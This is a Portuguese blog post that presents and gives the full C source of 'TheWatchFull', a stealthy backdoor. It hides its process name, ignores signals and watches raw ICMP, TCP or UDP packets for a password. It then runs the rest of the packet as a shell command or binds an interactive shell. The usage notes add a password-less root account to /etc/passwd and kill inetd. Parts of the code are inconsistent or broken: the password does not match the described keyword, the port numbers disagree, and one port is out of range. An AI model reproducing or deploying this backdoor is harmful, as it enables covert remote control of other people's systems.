[Backdoor] TheWatchFull – Backdoor não abre porta

Oi, eu vou mostrar pra vocês um Backdoor muito interessante e muito útil.
Ele monitora determinado protocolo e, de acordo com uma palavra-chave enviada ao servidor a qualquer momento, que no caso será a padrão “STRUCK0WN”, ele executa uma determinada ação.

TheWatchFull é um novo tipo de backdoor ele “observa” todos os pacotes enviados para o servidor através
do protocolo especificado (icmp, tcp, udp). Ao identificar uma senha pré-definida em um dos pacotes, o conteúdo é executado.
O conteúdo do pacote pode ser um comando de shell ou um comando especial que sera interpretado pelo TWF.

Comandos do backdoor:
TURNOFF <—– Desliga a backdoor
DELETEME <—– Desliga e deleta a backdoor
BINDME <—– Abre Shell na porta 7777

Aqui em baixo vou colocar o código fonte:

/* TheWatchFull v0.2 (server)
   by Cheat Struck <cheat@struck.8m.com>

   TheWatchFull eh um novo tipo de backdoor criado por mim.
   O Programa "observa" todos os pacotes enviados para o servidor atravez
do protocolo especificado (icmp, tcp, udp). Ao identificar uma senha
pre-definida em um dos pacotes, o conteudo eh executado.
   O conteudo do pacote pode ser um comando de shell ou um comando
especial que sera interpretado pelo TWF.

   Comandos especiais:
   ^^^^^^^^^^^^^^^^^^
   TURNOFF         <----- Desliga a backdoor.
   DELETEME        <----- Desliga e deleta a backdoor.
   BINDME          <----- Abre Shell na porta 7777.

   Como usar:
   ^^^^^^^^^
   hostvuln# gcc tback.c -otback
   hostvuln# ./tback

   (TCP)
   local$ telnet hostvuln 80
    Trying 205.178.180.190...
    Connected to www.securitynetworks.com.
    Escape character is '^]'.
    STRUCK0WN echo "struck::0:0::/:/bin/sh" >> /etc/passwd
    Connection closed by foreign host.

   (ICMP)
   local$ gcc sendp.c -osendp
   local$ ./sendp 1 BINDME
    sent 15 bytes to x.x.x.x
   local$ telnet hostvuln 7374
    Trying x.x.x.x...
    Connected to hostvuln.
    Escape character is '^]'.
    hostvuln#

   (UDP)
   local$ ./sendp 17 "killall inetd"
    sent 22 bytes to x.x.x.x
   local$ telnet hostvuln 80
    Trying x.x.x.x...
    telnet: Unable to connect to remote host: Connection refused

*/

#define PASSWORD "megazoid"
#define FAKENAME "gpm"
#define PROTOCOL 1 //1=ICMP
                   //6=TCP
                   //17=UDP
#define SIZE 4096

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int make_bind(struct in_addr addr);

int main(int argc, char *argv[]) {
  struct sockaddr_in fr0m;
  int tam, s0ck, i;
  char pkt[SIZE], id[SIZE], cmd[SIZE], realname[SIZE];
  pid_t pid;

  pid = fork();
  if (pid != 0) {
    exit(0);
  }

  strncpy(realname,argv[0],strlen(argv[0]));
  memset(argv[0], 0x00, strlen(argv[0]));
  strncpy(argv[0], FAKENAME, strlen(FAKENAME));

  for(i=1; i<=31 ; i++)
    signal(i, SIG_IGN);

  if ((s0ck = socket(AF_INET, SOCK_RAW, PROTOCOL)) == -1) return 0;

  for(;;) {

     memset(&pkt,0x00,sizeof(pkt));
     tam = sizeof(fr0m);
     if(recvfrom(s0ck,pkt,sizeof(pkt),0,(struct sockaddr *)&fr0m,&tam) == -1)
        exit(0);

     for(i=0; i<SIZE; i++) {
        memset(&id,0x00,sizeof(id));
        sscanf(&pkt[i], "%s%*c%*s", id);

        if(!strncmp(id,PASSWORD,strlen(PASSWORD))) {
            memset(&cmd,0x00,sizeof(cmd));
            sprintf(cmd,"%s",&pkt[i+strlen(PASSWORD)+1]);

            if (PROTOCOL == 6) cmd[strlen(cmd)-2] = '';

            /* Ztart the Special Commands */
            dup2(s0ck,0); dup2(s0ck,1); dup2(s0ck,2);
            if(!strncmp(cmd,"TURNOFF",7))
                  exit(0);
            else if(!strncmp(cmd,"DELETEME",8)) {
                  remove(realname);
                  exit(0); }
            else if(!strncmp(cmd,"BINDME",6))
                  make_bind(fr0m.sin_addr);
            else system(cmd);
            break;
        }
     }
  }
}

int make_bind(struct in_addr addr) {
   int sock, remote;
   struct sockaddr_in sa, client;
   pid_t pid;

   pid=fork();
   if(pid == 0) {

      if((sock=socket(AF_INET, SOCK_STREAM, 0)) == -1) exit(0);
      sa.sin_addr = addr;
      sa.sin_family = AF_INET;
      sa.sin_port = htons(70000); //TETA
      memset(&(sa.sin_zero),0x00,8);

      if(bind(sock, (struct sockaddr *) &sa, sizeof(sa)) == -1) exit(0);
      if(listen(sock,1) == -1) exit(0);
      if((remote=accept(sock, (struct sockaddr *) &client, \
          (socklen_t *) sizeof(client))) == -1) exit(0);

      dup2(remote,0); dup2(remote,1); dup2(remote,2);
      execl("/bin/sh", "sh", "-i", 0);

      close(sock);
      exit(0);
   }
   return(0);
}
  1. No trackbacks yet.

Deixe uma resposta

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s

%d blogueiros gostam disto: